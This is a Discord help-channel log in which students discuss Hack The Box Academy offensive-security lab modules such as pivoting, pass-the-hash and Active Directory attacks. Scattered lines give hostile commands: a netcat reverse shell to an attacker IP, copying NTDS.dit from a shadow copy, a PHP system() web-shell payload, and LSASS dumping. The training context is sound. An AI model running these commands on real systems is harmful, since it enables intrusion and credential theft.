modules

[dim wolf]

the skills assessment for digital forensics is not what i expected it to be

[median vine]

Hello, I was performing the Service Authentication Brute Forcing module on a task (FTP Brute Forcing). In the example, it shows (tcp 0 0 127.0.0.1:21), but in mine, it appears as (tcp 0 0 0.0.0.0:80) when I used (netstat -antp | grep -i list). Why did this happen? *I solve the task, but I didn't understand why I should use 127.0.0.1.

[fathom pendant]

127 is localhost/loopback, 0.0.0.0 is wildcard for all interfaces which may not always be ideal

Also that shows that all interfaces are listening on port 80, likely for web requests

[fathom pendant]

Are you running that netstat on the target or on your attack machine

The pwnbox is listening on port 80 to serve you the vm in the browser

[median vine]

ahh

[fathom pendant]

generally if something is running a listener on loopback, then it's either only internal to that machine OR it's acting as a bridge to another machine through port forwarding

[mint lodge]

https://academy.hackthebox.com/module/134/section/1219
i really need help with the skill assessment i enumerated users i found out how to find the user token but when trying to change the password of another user with his token im getting access denied

[grand zinc]

Hello! i am a newbie and doing the linux fundamentals. But i cant find the kernel version and what the network name is for MTU 1500. Im doing the commands and typing in the name/numbers but its worng'

[fathom pendant]

first: you need to ssh to the target machine

then you need to run the commands for finding out info

[grand zinc]

so i cant do it in the virutal proxy?

[fathom pendant]

no

[grand zinc]

how do i ssh into it? seems i cant do it from my pc

[fathom pendant]

you need to connect to the vpn

or if using the pwnbox (in-browser vm) you can ssh using that

[grand zinc]

i am running the instance in the module

[fathom pendant]

the targets are generally spawned on a private network range of 10.129.x.x that you normally don't have access to

instance =/= target btw, two separate things

[grand zinc]

care to explain?

[fathom pendant]

the spawn instance spawns the pwnbox virtual machine

to spawn the target, you need to click the green text that says "Click here to spawn the target"

unless otherwise stated; things in the linux fundamentals course will require you to ssh to a target machine to answer questions

[grand zinc]

oh alr. so i download the vpn file then what?

[fathom pendant]

if you're using the in-browser vm, you don't need the vpn file

you can use that to interact with the target

it's also recommended to do things from within a vm, so if you don't want to use the in-browser instance - you will need to set up your own

[dim wolf]

the Setting Up module will have information regarding setting up your own pentesting environment

[fathom pendant]

^

[grand zinc]

The in browser seems easier atm before i get a grasp on linux

[fathom pendant]

personal preferences and whatnot ¯_(ツ)_/¯

either way; the section should give you info on how to connect to a target

[grand zinc]

thanks i will check it out 😄 i might have turned off my instance gotta have to wait a day xD

[fathom pendant]

generally above the first question it will instruct you to "SSH/RDP/Authenticate to <spawned IP> with username "username" and password "password""

[fathom pendant]

this is why we suggest setting up your own vm

there's no restrictions on your own personal machine

[grand zinc]

is there any documentation on how i set up my own vm and connect it to HTB? as i said im very new and this is my first time trying linux

[fathom pendant]

there's the "Setting up" module

https://help.hackthebox.com/en/articles/6369713-installing-parrot-security-on-a-vm is the htb article re: installing parrot on a vm but you can use Kali if you want

the in-browser pwnbox uses parrotOS

[grand zinc]

Thank you! found it now

[dim wolf]

i've noticed the in-browser pwnbox and pwnbox iso are different, which sucks because i want those nice terminal colors

gotta spend an hour configuring my bash environment

[dusk crater]

Hi guys I feel very ftustrated because I'm working on the HTB password attack module (password mutation). I read forum, but I don't understand very well lol. I read something about a policy that allowed me to make mut_password.list shorter. Do you have any hint or advice ?

[fathom pendant]

yes; because the htb-edition iso is not the pwnbox iso

you can likely copy the .bashrc file to emulate the terminal color schemes

[fathom pendant]

it's not a policy it's literally just editing out the first 17k lines

[dim wolf]

the issue with that is it copies everything, so it copies the IP + server

[fathom pendant]

it's not some special rule/policy to add to the rules file

[fathom pendant]

does it?

i genuinely haven't dug too much into it

[dim wolf]

it has to display the IP and server on the bash prompt somehow

[fathom pendant]

yes by using environment variables

it doesn't have those hard coded

[dim wolf]

at some point i'll look at it again and see if i can get the colors

there was a website for this kind of stuff

[fathom pendant]

it's also likely a bit to do with the 'theme' color

[gusty kettle]

Hello back with new question in my mind

Module: tcpdump fundamentals

How do i know if sequence numbers being used are absolute or relative ?

[dusk crater]

something like best64.rule right?

[fathom pendant]

no

[fathom pendant]

the mutated wordlist should ONLY be created using the custom.rule and password.list from the resources

[onyx robin]

Hi! I need a help, I'm studying web proxies, but when i try to start zap with firefox (I saved the certificate and i created the new proxy with foxy proxy) I loose connection! i think the problem is because i'm using a cg-nat, i also tried to use the ip of the server (The one that foxy show me), but i always loose connection (maybe firewall of the cg-nat internet provider)

[fathom pendant]

using other rules will lead to an incorrect wordlist that may not include all the passwords to complete the module

[dusk crater]

ok, I'll try to think about it

btw thanks

[fathom pendant]

np

[dusk crater]

so

i created mut_psw.list using custom.rules and psw.list but it's over 94k lines

[grand zinc]

i tried to make a vm with HTB parrot but when i start it after i installed it i get back in the terminal where i can choose to install it again

[fathom pendant]

that is the correct output size from the command

[fathom pendant]

you need to unmount the iso

or change the boot order to make the vdi/vhd boot first

[grand zinc]

oh thank u

[dusk crater]

ok nice, now any advice to go ahead?

[fathom pendant]

just attack the right services or use the right hashcat modes depending on what you're doing

[limpid hemlock]

In the password atacks medium
I got a zip file cracked it using John got an office document and extracted a password hash from that
Cracked that now I was wondering how to open that .docx file to see contents inside it

??????

[fathom pendant]

openoffice is a good tool

or any other document reader

[limpid hemlock]

Is it in the pwnbox

[fathom pendant]

you might need to install it

[limpid hemlock]

Ohk

[dusk crater]

i tried hydra and crakmapexec with ssh protocol , but without results

[fathom pendant]

don't attack ssh

there's other services running

ssh is painfully slow and the target will likely timeout before it actually hits the righ pw for sam

[limpid hemlock]

Usualy ftp has same password as ssh in some modules

Maybe Crack ftp with hydra and try the same password for ssh

[fathom pendant]

always enumerate the target, some questions (especially in the password attacks module) give you an end goal and you have to work towards getting there

[dusk crater]

ok try ftp

keep in touch

[gusty kettle]

Please need some help

[dim wolf]

what's the difference between absolute and relative sequence numbers

[fathom pendant]

it just depends; https://opensource.com/article/18/10/introduction-tcpdump

absolute will be the first in the sequence; everything after is relative

[mint lodge]

i really need help with the web attack skill assessment i enumerated all the users i know how to find uid's of users and how to change a password of any users how do i progress from here?
i saw on the forums i need to find an admin user but i went though all the users and didnt find any role param or something like that on any of there request

[gusty kettle]

I just read that absolute numbers are some random lengthy numbers used for sequencing whereas relative ones are numbered starting from the first packet so they are short . isn't this right ?

[dim wolf]

yes. now answer the question from the module

[gusty kettle]

well thats what bugging me , it is saying the answer is incorrect.

[fathom pendant]

well then break down what the question wants from you

it's likely asking based on x data what is y value

[gusty kettle]

Thank you.

[slim otter]

Can anyone provide help with the Password Attacks module, specifically the Pass-the-Hash chapter? I am stuck on connecting to DC01 shared folder for David and Julio. Any help is appreciated!

[soft cedar]

do you already have the hash?

[slim otter]

got the hash dump from mimikatz, just struggling with what tool to connect to the share

[fathom pendant]

share, sounds like SMB

windows though doesn't have a specific tool to connect to shares

[slim otter]

I believe I need to pivot from the machine I RDP'd to (MS01) as it can see DC01 but when I try to target DC01 with mimikatz it says I am still on MS01 in the cmd that pops up

[fathom pendant]

that's just a visual thing

you can, in-fact, interact with DC01

[soft cedar]

^ did you use the dir command?

[fathom pendant]

the pth technique is launching a prompt in the context of the user you're impersonating

[slim otter]

Is that instead of the cmd.exe?

[slim otter]

Oh well I feel stupid now lol

[fathom pendant]

he's referring to using dir to try and view the share

dir \\dc01\<user>

[slim otter]

that has worked, thank you very much & thank you @soft cedar

[dusty plover]

hi, can i ask for help regarding a box

i get a strange error

[fathom pendant]

no

this channel isn't for box related nudges

#boxes is; if you can't see it read #welcome and follow instructions

[dusty plover]

i realize that but i am not allowed to talk in most channels

[fathom pendant]

read #welcome and follow instructions

it's not a difficult situation to overcome

[dusty plover]

thanks

i think i figured out the problem regardless

[vital zephyr]

Hi everyone, sorry for writing but I need a little help. I'm in the form
Meterpreter Tunneling & Port Forwarding
I started an ssh tunnel with the target, in fact meterpreter works well. except that when I go to boot via metasploit
server/sock_proxy always gives me:
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 12.

[] Starting the SOCKS proxy server
[] Stopping the SOCKS proxy server
furthermore, wanting to answer the second question I have to use autoroute, which, configured as it says in the module, and done ''run'', tells me:
run

[-] Msf::OptionValidateError The following options failed to valid: SESSION
[*] Post module execution completed

Can anyone give me a hint?

https://tenor.com/view/stressed-stress-struggle-struggles-the-struggle-is-real-gif-4757075

[fathom pendant]

in order to use autoroute you need to first initiate a session in metasploit

as it's a post-exploit tool

[vital zephyr]

I already have it

[fathom pendant]

are you exiting the session or closing it when you go to do autoroute

also for autoroute you need to specify the session

[vital zephyr]

I haven't left or closed, everything is open now

[fathom pendant]

follow the instructions from the module to a T

[vital zephyr]

since it asks me for 172.16.5.19 should I change the subnet?

[fathom pendant]

can you list the sessions

it looks like you have two separate msf things running, which is likely why things aren't working as you want them to

[vital zephyr]

and here there is a problem, it tells me no active session

[fathom pendant]

because you need to run this from the msfconsole that has your connection running

:) which is why it's all failing

follow the instructions explicitly to a T

[vital zephyr]

I'm sorry, what do you mean by ''T''?

I have opened 3 metasploit sessions, so are you suggesting I do everything from a single metasploit session?

[dim wolf]

"follow X to a T" is a saying. it just means follow all the instructions provided carefully

[fathom pendant]

^

[fathom pendant]

yes

each metasploit session cannot see each other

[vital zephyr]

hahaha LOL, not being an English native speaker I don't know these sayings, too bad

[fathom pendant]

I'm telling you to read and follow the section directly

it tells you how to background the session to perform the tasks as required

[vital zephyr]

Now I'm rereading everything very carefully

[dusk crater]

sorry to bother you, i tried ftp but it doesn't work. I'm gonna crash my pc😂

[fathom pendant]

it will work

perhaps increasing the threads will help you

48 seems to be the most stable for many

[dusk crater]

are u sure that 94k it's the right file?

[fathom pendant]

yes

it's the intended file to be created

you just gotta have patience

it takes ~ 20 minutes to get the password on 48 threads

[dusk crater]

ok,so I just wait

[fathom pendant]

this module is a HUGE lesson in patience

[frosty jewel]

In Hacking Wordpress - User Enumeration,

Q: From the last cURL command, what user name is assigned to User ID 2?

I found two users already other then admin but not working as answer.

Help!

[tight spoke]

I just broke devvortex lol

didn't check the code I tried to insert and there was a error, resets not being done right now.

[dusk crater]

it works!!!!!!!!!!!!

[tight spoke]

damn, no more resets for the day. this thing is broken now, sorry everybody

[fathom pendant]

wrong place buddy

this channel is for assistance and discussion around htb academy modules

[tight spoke]

ah okay

[fathom pendant]

#boxes for generally asking for hints/nudges with boxes

and if you really want to just message support and see if they can reset the box for you

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[tight spoke]

thx

[mint lodge]

I still desperately need a clue CBBH people help me out 🙏

you mean the grep extract? I didnt find any username that stands out

that does not work like that i give it uid's from 1 to 100 and it gives me back usernames

there are only 100 users and they all look like general names

going though all of them manually will take me hours

[fathom pendant]

have you tried uid 0?

just out of curiosity

[mint lodge]

yes

[mint lodge]

i did 😅

there is no username called admin or any mention of admin i searched more then once

fuck i found one

thanks for the advice it helped

[grand zinc]

finally got my vm to work xD whats the inode number and hints on how i can find it? cant remember if i read it somewhere

[fathom pendant]

man ls might be useful for you to read

but also: you will need to connect to the target to be able to get the right answer

make sure you have the vpn running

[grand zinc]

yea I struggled with that for 2 hours

ig " ls block-size /var/backups/shadow.bak " is correct?

[fathom pendant]

no

[grand zinc]

hmm

back to man ls

[fathom pendant]

also before asking is "x" correct run it and see

you're in an isolated environment - worst that happens is it breaks and you need to restart it

[scenic elk]

Hi Everyone, i seem to have found a content fault in one of the modules in Linux Fundamentals. Can idea where i can flag this to?

[grand zinc]

i was typing it to remember, i was jsut typing when u said no xD

[fathom pendant]

#858470491676737536

[scenic elk]

Thank you

[fathom pendant]

again; do first ask later

[grand zinc]

ye

[fathom pendant]

inode can be a form of an index

[grand zinc]

Thank you so much for helping a newbie:D Found it instandly when u said index 😄

So whats the difference

[fathom pendant]

learning how to research information on your own is vital

[grand zinc]

yea i get that, everything is just new to me. sorry

[acoustic owl]

You don't have to apologize. Everyone here started from scratch at some point.

[fathom pendant]

Google is a valuable tool, even chatGPT can be useful for explaining concepts

[solar grove]

Has anyone finished Abusing http misconfigurations?

[fathom pendant]

idk probably

just ask your question and someone that's done it might be able to assist

[solar grove]

Use WCVS to identify an HTTP header vulnerable to web cache poisoning in the provided web application.

[fathom pendant]

it generally helps others to help you by providing info on what you've done so far that isn't working

[rustic sage]

Hello colleagues, I have a question related to the cracking password with hashcat module Extract the hash from the attached 7-Zip file, crack the hash, and submit the value of the flag.txt file contained inside the archive.

[misty saddle]

What's the question? 🙂

[fathom pendant]

https://dontasktoask.com

[acoustic owl]

The module shows you how to use the tool

[rustic sage]

I have done what it tells me to do, unzip the file and extract the hash, at the time of decrypting the hash I get the answer but at the time of validating it I get the wrong answer

[fathom pendant]

make sure you don't have any extra spaces or anything in your answer

[rustic sage]

But on hashcat the status is cracked

[fathom pendant]

which means that it found the answer

using the given wordlist

[solar grove]

@acoustic owl I don't understand what you are asking, I did everything described in the module and I got the result, I don't know what to write in the answer, I wrote all the target headers but I couldn't find it, can you give me a clue?

[misty saddle]

try to do the command but with --show in the end

[acoustic owl]

Look in the output under ||Header Poisoning||

[rustic sage]

I had a read error because I was supposed to decrypt the hash and read a file flag.txt which is where the correct answer was, thanks anyway

[solar grove]

@acoustic owl I found the answer thank you. But I don't understand what it means. X-F*******

[acoustic owl]

This is a header field

[livid knoll]

hi

[safe thistle]

i have a doubt for a challenge

who is author for packed - reversing

[fathom pendant]

#1204439923126575235 if you believe the challenge isn't behaving as you expect

[native turtle]

Hi there I'm stuck in the broken authentication module, predictable reset token, I can't understand how the token is generated, I converted the time stamp date displayed in epoch milliseconds then append to htbuser string and hashed with md5 however the token is different from the one shown.. any idea on how is it build?

basically I did md5("htbuser" + str(epoch_ms))

[next bronze]

there's a +/- 1 second variance

so you need to guess all 2000 possibilities

[native turtle]

yeah I know but first I'm try to generate my own token to understand the algorithm

[cloud urchin]

hey Xre0uS, on the DACL skill assessment i just ended up using mimikatz to grab jose's hash and complete the module. is that the way you were talking about yesterday?

[next bronze]

yea it's just dumping lsass

second question? didn't it tell you to kerberoast

[next bronze]

yeah unless you know the exact milisecond the token is generated, you won't get the same hash

you can use powerview or rubeus

[native turtle]

mh, okay so I will try to directly found the admin one thanks

[next bronze]

if you have a rev shell it will be easier since the given webshell is crap

[cloud urchin]

lol he just said that

[next bronze]

I don't think mimikatz does kerberoast

conptyshell

[dreamy solar]

Hello I have a problem with this command can you help me please?

https://academy.hackthebox.com/module/67/section/628

"C:\Users\Administrator\Downloads\nc.exe -e cmd.exe 10.10.15.141 443 this?

yes

[cloud urchin]

you can see in the error it's saying the path can't be found

[fathom pendant]

no

it's saying explicitly that HKLM:\... can't be found

learn to read your errors my guy

[dreamy solar]

I simply followed what the course laid out sorry

[fathom pendant]

the example doesn't have HKLM:\

there is no :

that powershell is incorrect

the HKLM path doesn't use use : as it's not a network mapped drive

[ember coral]

wth am i doing wrong?

[fathom pendant]

well it looks like something is broken with the script

which is entirely an intended thing by the author as it's not a plug and play script from what I know

[ember coral]

Usually course is good about mentioning things like that. From what i can tell it should be plug and play. looking at the code its self theres no metnion of foundeR_enum.sh anywhere. The line at 51 looks correct to me also but my coding is sup par at best

[fathom pendant]

what's the link to the repo?

[ember coral]

https://www.exploit-db.com/exploits/49821

[sterile epoch]

any idea why the payload is not executing. I tried using pht and phpt too the results are the same when I check the source code I find opening quotes so I try to close it but the result stays the same. I even tried using the <script> tag. I tried using the simple php payload.
<?php system('ls'); ?>

[dim wolf]

thank you x3dnesse

[cloud urchin]

Are you looking for this? https://github.com/dpgg101/GitLabUserEnum

[fathom pendant]

I take it this is provided by the section?

[ember coral]

correct "this one" is the link provided in course mat

[fathom pendant]

and they also include the python link

[cloud urchin]

use the python 3 one

[fathom pendant]

😉

[cloud urchin]

python3 worked for me np

[ember coral]

i had tried it but had some issues with it as well so was trying to get primary to work. I'll give it another go
edit: worked w/o issue after re cloning it, i'll just use this one thx.

[fathom pendant]

i wonder if the cp/paste is including the header info for the bash script

[fathom pendant]

perhaps when you copy/pasted it some of the info got messed up

[ember coral]

I downloaded then copied it over into another folder, had the issue so copy pasted it as well with same results.

[fathom pendant]

what happens when you just run ./gitlab_user_enum.sh

also how did you download it would be the more precise question ig

[cloud urchin]

right, that's what i was thinking. show the command you used to download it, and show the results of the python script not working

[ember coral]

to clairfy py works fine, so using it. That being said i just clicked download link. and just running it w/o any arguments resuts in same error

[fathom pendant]

because i threw the code into an online bash compiler and it runs the code just fine

it didn't throw any sort of error at me

[ember coral]

redownloaded it via visting the link and clicking download button

So weirdly enough if i just copy/paste the raw and try to run it eliminates all the other bs but still error on line 51. but agian python works fine so its kinda moot point, but would like to figure out tf im doing wrong incase i have same issue later.

[cloud urchin]

you'll need to know bash scripting to fix it. i think it's saying error with syntax on line 51

[fathom pendant]

i had 0 issues running it

i copy/pasted the raw into a file and ran it just fine

[cloud urchin]

yeah my guess is you didn't dl the raw file

[fathom pendant]

the one from the download button is borked to heck tho

[cloud urchin]

that's why i wanted to know the command he used to download it

[ember coral]

hoenstly didnt know there was another way beside copy/paste raw or hitting DL button (for exploitDB at least)

[cloud urchin]

wget <url to raw file>

[limber river]

any help on Disassemble 'loaded_shellcode' and modify its assembly code to decode the shellcode, by adding a loop to 'xor' each 8-bytes on the stack with the key in 'rbx'. intro to assembly skill assement

[next bronze]

#modules message 🙂

[limber river]

okay thank you , that's what I was trying to do but the shellcode , I got the same keys when I run the xor instruction

[fathom pendant]

yea i'm trying to analyze the files and I literally see 0 difference between the file generated by the download button, and the one from raw

[ember coral]

weird right lol

[sterile epoch]

any pointers?

[fathom pendant]

FIGURED IT OUT

the download button adds a carriage return which isn't getting parsed by bash

[cloud urchin]

i always use the raw file heh

[ember coral]

no idea what that means but ima look it up lol

[fathom pendant]

it basically appends \r to all the lines

instead of new-line

vvvv

whereas the raw file just says it's ascii text

that's why the errors on those other lines weren't outputting anything because it was erroring out with a carriage return which your terminal interpreted as the 'enter'/whitespace

[misty current]

WhiteBox Attacks: Remote Code Execution I've completed this section's exercise. But, I feel like there is a waaaay better approach to exploit it. I'd like to discuss this with anyone that's already completed it.

[fathom pendant]

solved the riddle of the fuckening; the download treats it as a CRLF file, which isn't handled correctly by linux systems

[next bronze]

did you figure it out?

[dire abyss]

doing the skills assessment for pivot module.. how do i stop port forwarding on my attack host

[fathom pendant]

You generally don't port forward on your host, you forward through the pivot

[dire abyss]

i did do a local port forward to scan the target network using proxychains for more victims

[fathom pendant]

Again you don't generally forward on your host, you forward the request through the victim

[dire abyss]

so once I disconnect from my current target im not forwarding anymore?

[fathom pendant]

Correct

[sterile epoch]

any help why this is not working I fuzzed and tried almost all the extentions

[dire abyss]

gotcha okay makes sense why netstat -antp only works when im connected to my target

[fathom pendant]

In order to forward traffic there needs to be a route

[dire abyss]

okay this is starting to make sense

this for sure has been the hardest model to comprehend.. feels like inception

[fathom pendant]

Think about it like taking multiple trains. Train A gets you to the station that gets you to train B. Train B gets you to C... repeat until exhausted

[dire abyss]

i like that analogy better, my brain hurts less lol

[fathom pendant]

At each stop you can "scan" the map of the Train system that you didn't see before

[dire abyss]

yeah.. yeah it definitely makes way more sense when you put it like that, thank you!

[limber river]

not yet

[next bronze]

where are you stuck at

[limber river]

idk , if the loop I wrote is righ or not

[next bronze]

there isn't much to it really, point RDX to the top of the stack, then xor the stack with the key which is in rbx, move the pointer by 8 every loop and loop 14 times

[limber river]

can I dm you ?

[next bronze]

sure

[ember coral]

Anyone able to provide insight on Attacking Tomcat CGI section? Following along with course im able to get to the welcome CGI page, however trying to append &set or &dir results in a 404 page

[echo forge]

did you figured it out?

[sleek moss]

yo for cpts do you have to share screen? how they proctor dat shid

[minor stag]

They don't proctor it from my understanding. You're allowed to use outside resources

I cannot connect to this spawned RDP server to save my life

[short hare]

You don't need to go there
Go to /manager
You will have a login page
Then you can use metasploit to do the rest

[rustic sage]

use ' ' for the password

[minor stag]

Tried that earlier. Same result.

Wait I found a typo, nvm.

[rustic sage]

I recommend using remmina instead of xfreerdp

much better overall

[minor stag]

Does it have a /drive: option like I usually do with xfreerdp?

[rustic sage]

uhm.... it's built on top of xfreerdp so im sure there's a way to configure it

but idk.

[cloud urchin]

not a problem with xfreerdp

you can see the error there, it says login failure

idk what part you're on but remember not all users have rdp rights

[ember coral]

i try to avoid metasploit at this time (partly for oscp prep, partly so i have a better understanding of whats actually happening)

[mystic light]

youre missing one character in the url. look closely.

[short hare]

No issues go to the /manager
Then you will have move forward

[next bronze]

the section is about Tomcat CGI, manager is a seperate thing

[civic terrace]

Anyone able to help? Getting an error trying to rdp into DEV01 on the Attacking Enterprise Networks - Lateral Movement section. - Timeout waiting for activation error -
/timeout:60000 works. Going to pop this in chat anyway in case it helps someone else

[short hare]

But @next bronze
@ember coral said attacking tomcat

Ok no issues 👍

[next bronze]

Attacking Tomcat CGI section

[short hare]

Got it

Sorry @ember coral for the mistake

[crystal steeple]

happened to me a lot , just refresh HTB page and try again

[short hare]

@ember coral I have dm you

[rustic sage]

Hi guys , I need a bit of guidance on the Public Exploits module, , the question says to identify services running on the given server but when I try to run nmap on it. I get an exception saying 'failed to resolve "Ip-Address" ' a little perplexed by this

[short hare]

Mmmm...
Tunneling is active??
If it's active then I think everything should work fine

Or just reset the IP and try again

[mystic light]

you can dm me, ill give you a hand offline.

[proven swift]

I've been stuck on this question in the active directory privilege access module "What other user in the domain has CanPSRemote rights to a host?"

Has anyone completed this module? lol

[crystal steeple]

im on AD skills assessement I , still on the webshell , Q2, i can't import powerview , i did uploaded it but won't work

any hints on how to proceed

maybe im using wrong syntax to import it?

[mystic light]

use a spoiler tag and show how you're importing it.

[mystic light]

dm me, i can give you a hint offline if you need

[crystal steeple]

||Import-Module -Name "C:\PowerView.ps1"||

since ||Import-Module .\Powerview.ps1|| didnt work either

[cloud urchin]

seems to me you're not using the right folder. show the actual command and the result it gave.

generally things aren't stored in the root folder of the drive

[crystal steeple]

how do you make a spoiler tag for image?

|| ||

anyways this is what i get

after that this error

[cloud urchin]

try typing "Import-Module P" and then pressing tab

[crystal steeple]

tried it but wont work either

[cloud urchin]

oh looks like there's something wrong with the file

where did you get it from

[crystal steeple]

Import-Module : The specified module 'PowerView.ps1' was not loaded because no valid module file was found in any
module directory.

[crystal steeple]

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

[cloud urchin]

it looks like it's importing it successfully, but there's something wrong with the script and it spits out a bunch of errors

[crystal steeple]

hmmm

[cloud urchin]

yep there you go, wrong link

this is the correct file: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

you can't just copy the webpage, you have to download/copy the raw file

[crystal steeple]

i'll try again with this new file

[crystal steeple]

from the webshell?

[cloud urchin]

look at your link and look at mine

your link is an actual website that contains the file in a code box

mine is the actual file within the code block

if you click on "raw" on your link, it'll take you to the actual file

that's the file you need to use

[crystal steeple]

oooh you're right

[crystal steeple]

thanks man , it worked now :3

[dire abyss]

guys when running a nmap scan with proxychains.. is there a flag or something i can give it so it only shows me successful or refused connections?

[cloud urchin]

np

[cloud urchin]

not sure mabe -vv?

[crystal steeple]

but even after importing, i should use powerview commands in the directory where i imported that module no?

[cloud urchin]

once you've imported the module into your session, it should stay there unless you close the powershell window and open another one

[crystal steeple]

but i get errors when executing powerview command

its says command not recognized

[cloud urchin]

show the command

[crystal steeple]

||Get-DomainUser * -spn | select samaccountname||

[cloud urchin]

did you import powerview

[crystal steeple]

yes

[cloud urchin]

just show the screen shot

[crystal steeple]

this webshell sucks

[cloud urchin]

looks ok, did you -ep bypass?

[crystal steeple]

whats that lol

[cloud urchin]

i'd have to go through it to see what it's doing so i'm not sure, i think that's the right command after a successful import

generally you need to set the execution policy bypass when doing stuff like that

[crystal steeple]

did it work for you when you did this skill assessement?

[cloud urchin]

i don't know what module you're on

[crystal steeple]

Active Directory module

[cloud urchin]

i haven't gone through that

[crystal steeple]

on skills assessement I

oh i see

is there any method to get a rev shell back to my host from webshell?

[cloud urchin]

yeah

type Set-ExecutionPolicy Bypass -Scope CurrentUser -Force

then import pv again just in case, and try again

[crystal steeple]

alright

same problem

[cloud urchin]

i'm sure the answer is in the module

i would go over that part again or something. but yeah if you have command access on the computer you can reverse shell easily

[crystal steeple]

can i dm you?

[cloud urchin]

ok

[cobalt lava]

hey guys, i cant message #general rn what's going on

it says to check out #modules I don't understand

[shut wraith]

Anything wronng with this:

cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

[novel hinge]

on network enumeration rright now.... trying to get the hostname of the target. i've tried -sV,-sn, -v -sn, and can't seem to find the hostname. Most nmap resullts never load/load indefinitely. Should I be looking somewhere else?

@shut wraith does C: \NTDS\ exist on ur machine?

[shut wraith]

I have coppied it successfully. But I have a new problem:

if I have the NTDS.dit file from a target machine but I don't have admin so I can't get the SYSTEM file in order to extract the info from NTDS using secretsdump then what do I do?

[novel hinge]

@shut wraith does your target have any exploits? have you googled/msf them? is gaining higher priviledge out off the picture?

[cloud urchin]

i think you need admin rights to get ntds.nit, don't you?

[shut wraith]

If I find exploits such as maybe by using mimikatz then I get admin then what is the use in extracting info from NTDS if I already have admin

[crystal steeple]

transfer it to your attack host

?

[cloud urchin]

you need admin to get ntds.dit... then you say you can't get system because you don't have admin? it doesn't make sense

[shut wraith]

Okay I transfered it but now what?

[crystal steeple]

nvm you still need the SYSTEM file

you probably have admin rights since you got ntds.dit btw , why can't you get the system file

[dire abyss]

im stuck on the pivoting skill assesment. i got to into the first ||windows server|| where you have to grab the ||lsass dump|| but i cant figure out how to move it from the target host to my attack host. ||i even tried to remote dump it with lsassy and nothing happens||. im assuming its because since im using a pivot host to it, it can see my attack host ip..

[shut wraith]

THanks

[crystal steeple]

you can move it with /drive parameter when using xfreerdp

xfreerdp /v:[ip] /u:[user] /p:[pass] /drive:/path/to/whatever

[dire abyss]

i didnt even know that was a thing

[crystal steeple]

then check the file explorer , you should have a new drive

[dire abyss]

let me try

[crystal steeple]

then copy paste should work to transfer whatever

[dire abyss]

that worked, very useful, thanks!

[tender yew]

hello I am new here, I know some basics about hacking is there anyone who can help me to improve myself

[crystal steeple]

Np

[crystal steeple]

I suggest following a job role path in HTB academy its 7€/month if you ate a student and you have access to almost every beginner/intermediate level modules

If you are new to hacking i’d also suggest to start with fundamentals, i guess there is a module or path covering fundamentals before diving into a job role path

[dim wolf]

you can do the Information Security Foundations skill path for penetration testing or the SOC Analyst Prerequisites skill path for security analysis

[rigid holly]

help please
Module: Windows Privilege Escalation
Section: Interacting with users

Question: Using the techniques in this section obtain the cleartext credentials for the SCCM_SVC user.

I've set up responder with the scf file placed in the C:\users\public\Downloads\ but I am only able to get hashes from htb-student. I am not getting any hashes from SCCM_SVC

[cloud urchin]

did the module go over coercion?

[vocal lagoon]

on the linux fundamentals module, in the working with web services I started a http server without the use of npm in the startup command

yet the command I used to start it isn't the flag its looking for

any ideas on what to do?

[cloud urchin]

what does the question say to do

i haven't done that module so i'm not sure what the goal there is

[vocal lagoon]

Find a way to start a simple HTTP server inside Pwnbox or your local VM using "npm". Submit the command that starts the web server on port 8080 (use the short argument to specify the port number).

[visual obsidian]

I need someone to learn the skill of hacking devices connected to the Wi-Fi network

[vocal lagoon]

but after installing the http server package through npm

[cloud urchin]

well, it seems to want you to use npm

[vocal lagoon]

it's literally just

[cloud urchin]

and you said you didn't.. so maybe try npm?

[vocal lagoon]

http-server

I did use npm to install the server

the command to start the server is just http-server -p8080

I can even see the get traffic

but it doesnt like the command I did

[cloud urchin]

how did the module teach you to start it with npm

[vocal lagoon]

it didnt

[cloud urchin]

did you try typing in your answer that starts with http-server?

[vocal lagoon]

yeah

-p is the short arg for port im 99% sure

[visual obsidian]

@cloud urchin you can help learn the skill of hacking devices connected to the Wi-Fi network in kali linux my friend plz

[cloud urchin]

can you show the whole command you typed in a pic

[vocal lagoon]

check the modules

[vocal lagoon]

This is after using npm to install the server package

[cloud urchin]

there's a lot to learn, you should look at the modules on the website

[visual obsidian]

Ok

[vocal lagoon]

that command works and is working right now

after npm it wants me to do php which it also doesnt show you how

it only ever shows you python3

[visual obsidian]

How i can find it plz

[vocal lagoon]

htb academy

[visual obsidian]

Tnx

[cloud urchin]

from what i'm reading the question comes up because it's poorly worded, i sent you a dm rei

[visual obsidian]

@cloud urchin What is the hacking tool for devices connected to Wi-Fi? Plz

[dire abyss]

stuck in pivot assesment. I found the next users creds so naturally im looking for the host to hop onto. I ran a ping sweep on powershell from the ||windows|| server. all the results come back as false..

[crystal steeple]

Weird , there should be hosts alive

[dire abyss]

i can run it again, lets see if it does anything this time

[crystal steeple]

You did || 1..254 | % {"172.16.6.$($): $(Test-Connection -count 1 -comp 172.16.6.$($) -quiet)"}||

Right?

Check for the ip you may have left .5 and forgot to change it to .6

[dire abyss]

shit your right, im looking at the ipconfig of that target host

i thought i saw .5 on both nic configs

ive been staring at the screen too long

[crystal steeple]

You are almost there you got this

[cloud urchin]

https://tenor.com/view/go-for-it-you-can-do-it-encourage-do-it-gif-14006408

[dire abyss]

damn they're all still coming back as false

this is what i ran ||1..254 | % {"172.16.6.$($): $(Test-Connection -count 1 -comp 172.15.6.$($) -quiet)"}||

ran the CMD ver and i got a hit

finally!

[steady dust]

On Skills Assessment - File Upload Attacks i found the upload path, i found the extension, but when i try to access it i receive 404. I tried with a jpeg file and still 404. Is there a problem with the machine?

[cloud urchin]

i highly doubt it. every time i thought that there was another answer. i would go over the module that covers that part and pay close attention, there's usually some key piece of information in there.

[gilded ice]

Has anyone been completing a box in the skill assessment and broken it? I somehow broke the box twice after obtaining a reverse shell and I couldnt use and basic commands like sudo, id, whoami or anything

use any*

[fathom pendant]

there's many skill assessments and many modules

gonna have to be a little less vague my guy

[cloud urchin]

what kind of shell was it, not all are stable

[gilded ice]

I just mean any box. This isnt the first time or first box. But Im currently on nibbles(priv esc) and i used the meterpreter vulnerability to obtain access

[fathom pendant]

the getting-started nibbles box can sometimes be tricky

